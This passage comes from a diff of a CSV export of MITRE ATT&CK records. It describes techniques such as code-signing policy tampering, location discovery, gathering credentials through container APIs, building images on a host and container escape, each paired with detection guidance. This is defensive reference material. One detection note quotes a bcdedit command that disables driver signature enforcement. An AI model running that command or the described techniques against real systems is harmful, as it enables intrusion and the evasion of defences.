Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014) -To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c,attack-pattern,['defense-evasion'],2021-04-26T15:41:39.155Z,2021-04-23T01:04:57.161Z,"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.","['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']","['Abel Morales, Exabeam']","['Application control', 'User Mode Signature Validation', 'Digital Certificate Validation']",['Administrator'],"['Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1614', 'url': 'https://attack.mitre.org/techniques/T1614'}, {'source_name': 'FBI Ragnar Locker 2020', 'url': 'https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf', 'description': 'FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.'}, {'source_name': 'Sophos Geolocation 2016', 'url': 'https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/', 'description': 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.'}, {'source_name': 'Bleepingcomputer RAT malware 2020', 'url': 'https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/', 'description': 'Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.'}, {'source_name': 'AWS Instance Identity Documents', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html', 'description': 'Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.'}, {'source_name': 'Microsoft Azure Instance Metadata 2021', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows', 'description': 'Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.'}, {'source_name': 'Securelist Trasparent Tribe 2020', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,False,https://attack.mitre.org/techniques/T1614,mitre-attack,T1614,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Location Discovery," +To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",['defense-evasion'],https://attack.mitre.org/techniques/T1553/006,mitre-attack,T1553.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Abel Morales, Exabeam']","['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']","['Application control', 'User Mode Signature Validation', 'Digital Certificate Validation']","Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.",True,['Administrator'],"['Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1614', 'external_id': 'T1614'}, {'source_name': 'FBI Ragnar Locker 2020', 'description': 'FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.', 'url': 'https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf'}, {'source_name': 'Sophos Geolocation 2016', 'description': 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.', 'url': 'https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/'}, {'source_name': 'Bleepingcomputer RAT malware 2020', 'description': 'Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/'}, {'source_name': 'AWS Instance Identity Documents', 'description': 'Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html'}, {'source_name': 'Microsoft Azure Instance Metadata 2021', 'description': 'Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows'}, {'source_name': 'Securelist Trasparent Tribe 2020', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/'}]",1.0,attack-pattern,attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-01T16:42:08.735Z,2021-10-15T22:00:56.438Z,System Location Discovery," Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021) -Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979,attack-pattern,['discovery'],2021-04-20T19:25:49.977Z,2021-04-01T16:42:08.735Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",['discovery'],https://attack.mitre.org/techniques/T1614,mitre-attack,T1614,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Pooja Natarajan, NEC Corporation India', 'Hiroki Nagahama, NEC Corporation', 'Manikantan Srinivasan, NEC Corporation India', 'Wes Hurd', 'Katie Nickels, Red Canary']","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020) -Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Pooja Natarajan, NEC Corporation India', 'Hiroki Nagahama, NEC Corporation', 'Manikantan Srinivasan, NEC Corporation India', 'Wes Hurd', 'Katie Nickels, Red Canary']",,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1613', 'url': 'https://attack.mitre.org/techniques/T1613'}, {'source_name': 'Docker API', 'url': 'https://docs.docker.com/engine/api/v1.41/', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.'}, {'source_name': 'Kubernetes API', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,False,https://attack.mitre.org/techniques/T1613,mitre-attack,T1613,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Container and Resource Discovery,"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. +Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.",False,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1613', 'external_id': 'T1613'}, {'source_name': 'Docker API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}]",1.0,attack-pattern,attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-31T14:26:00.848Z,2021-04-12T18:22:05.737Z,Container and Resource Discovery,"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. + +These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",['discovery'],https://attack.mitre.org/techniques/T1613,mitre-attack,T1613,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vishwas Manral, McAfee', 'Center for Threat-Informed Defense (CTID)', 'Yossi Weizman, Azure Defender Research Team']","['Cluster: Cluster Metadata', 'Container: Container Enumeration', 'Container: Container Metadata', 'Pod: Pod Enumeration', 'Pod: Pod Metadata', 'Application Log: Application Log Content']",,"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. -These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336,attack-pattern,['discovery'],2021-04-12T18:22:05.737Z,2021-03-31T14:26:00.848Z,"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. +Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",False,['User'],['Containers'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/007', 'external_id': 'T1552.007'}, {'source_name': 'Docker API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'}]",1.0,attack-pattern,attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-31T14:01:52.321Z,2021-04-12T18:20:31.636Z,Container API,"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) -Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ","['Cluster: Cluster Metadata', 'Container: Container Enumeration', 'Container: Container Metadata', 'Pod: Pod Enumeration', 'Pod: Pod Metadata', 'Application Log: Application Log Content']","['Vishwas Manral, McAfee', 'Center for Threat-Informed Defense (CTID)', 'Yossi Weizman, Azure Defender Research Team']",,['User'],['Containers'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.007', 'url': 'https://attack.mitre.org/techniques/T1552/007'}, {'source_name': 'Docker API', 'url': 'https://docs.docker.com/engine/api/v1.41/', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.'}, {'source_name': 'Kubernetes API', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1552/007,mitre-attack,T1552.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Container API,"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) +An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",['credential-access'],https://attack.mitre.org/techniques/T1552/007,mitre-attack,T1552.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team']","['Command: Command Execution', 'File: File Access', 'User Account: User Account Authentication']",,"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. -An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436,attack-pattern,['credential-access'],2021-04-12T18:20:31.636Z,2021-03-31T14:01:52.321Z,"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",True,"['User', 'Administrator']",['Containers'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1612', 'external_id': 'T1612'}, {'source_name': 'Docker Build Image', 'description': 'Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild'}, {'source_name': 'Aqua Build Images on Hosts', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host'}, {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'}]",1.1,attack-pattern,attack-pattern--800f9819-7007-4540-a520-40e655876800,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:54:03.944Z,2021-08-26T16:45:04.924Z,Build Image on Host,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image) -It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).","['Command: Command Execution', 'File: File Access', 'User Account: User Account Authentication']","['Center for Threat-Informed Defense (CTID)', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team']",,"['User', 'Administrator']",['Containers'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1612', 'url': 'https://attack.mitre.org/techniques/T1612'}, {'source_name': 'Docker Build Image', 'url': 'https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild', 'description': 'Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.'}, {'source_name': 'Aqua Build Images on Hosts', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1612,mitre-attack,T1612,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Build Image on Host,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image) +An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",['defense-evasion'],https://attack.mitre.org/techniques/T1612,mitre-attack,T1612,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security', 'Roi Kol, @roykol1, Team Nautilus Aqua Security', 'Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security', 'Vishwas Manral, McAfee']","['Image: Image Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.,False,"['User', 'root']",['Containers'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1611', 'external_id': 'T1611'}, {'source_name': 'Docker Overview', 'description': 'Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/get-started/overview/'}, {'source_name': 'Docker Bind Mounts', 'description': 'Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.', 'url': 'https://docs.docker.com/storage/bind-mounts/'}, {'source_name': 'Trend Micro Privileged Container', 'description': 'Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html'}, {'source_name': 'Intezer Doki July 20', 'description': 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.', 'url': 'https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/'}, {'source_name': 'Windows Server Containers Are Open', 'description': ""Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021."", 'url': 'https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/'}]",1.1,attack-pattern,attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:38:34.277Z,2021-10-15T14:59:35.913Z,Escape to Host,"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) -An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",attack-pattern--800f9819-7007-4540-a520-40e655876800,attack-pattern,['defense-evasion'],2021-04-19T13:39:56.999Z,2021-03-30T17:54:03.944Z,Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.,"['Image: Image Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security', 'Roi Kol, @roykol1, Team Nautilus Aqua Security', 'Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security', 'Vishwas Manral, McAfee']",,"['User', 'root']",['Containers'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1611', 'url': 'https://attack.mitre.org/techniques/T1611'}, {'source_name': 'Docker Overview', 'url': 'https://docs.docker.com/get-started/overview/', 'description': 'Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.'}, {'source_name': 'Docker Bind Mounts', 'url': 'https://docs.docker.com/storage/bind-mounts/', 'description': 'Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.'}, {'source_name': 'Trend Micro Privileged Container', 'url': 'https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html', 'description': 'Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.'}, {'source_name': 'Intezer Doki July 20', 'url': 'https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/', 'description': 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,False,https://attack.mitre.org/techniques/T1611,mitre-attack,T1611,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Escape to Host,"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) +There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) -There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665,attack-pattern,['privilege-escalation'],2021-04-22T16:14:59.756Z,2021-03-30T17:38:34.277Z,"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.","['Container: Container Creation', 'Process: OS API Execution', 'Process: Process Creation']","['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Idan Frimark, Cisco', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']",,"['Administrator', 'User', 'root']","['Windows', 'Linux', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1204.003', 'url': 'https://attack.mitre.org/techniques/T1204/003'}, {'source_name': 'Summit Route Malicious AMIs', 'url': 'https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/', 'description': 'Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1204/003,mitre-attack,T1204.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Malicious Image,"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) +Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",['privilege-escalation'],https://attack.mitre.org/techniques/T1611,mitre-attack,T1611,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yuval Avrahami, Palo Alto Networks', 'Daniel Prizmant, Palo Alto Networks', 'Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Idan Frimark, Cisco', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Process: OS API Execution', 'Process: Process Creation']",,"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.",False,"['Administrator', 'User', 'root']","['Windows', 'Linux', 'Containers']",,,,,,,,, 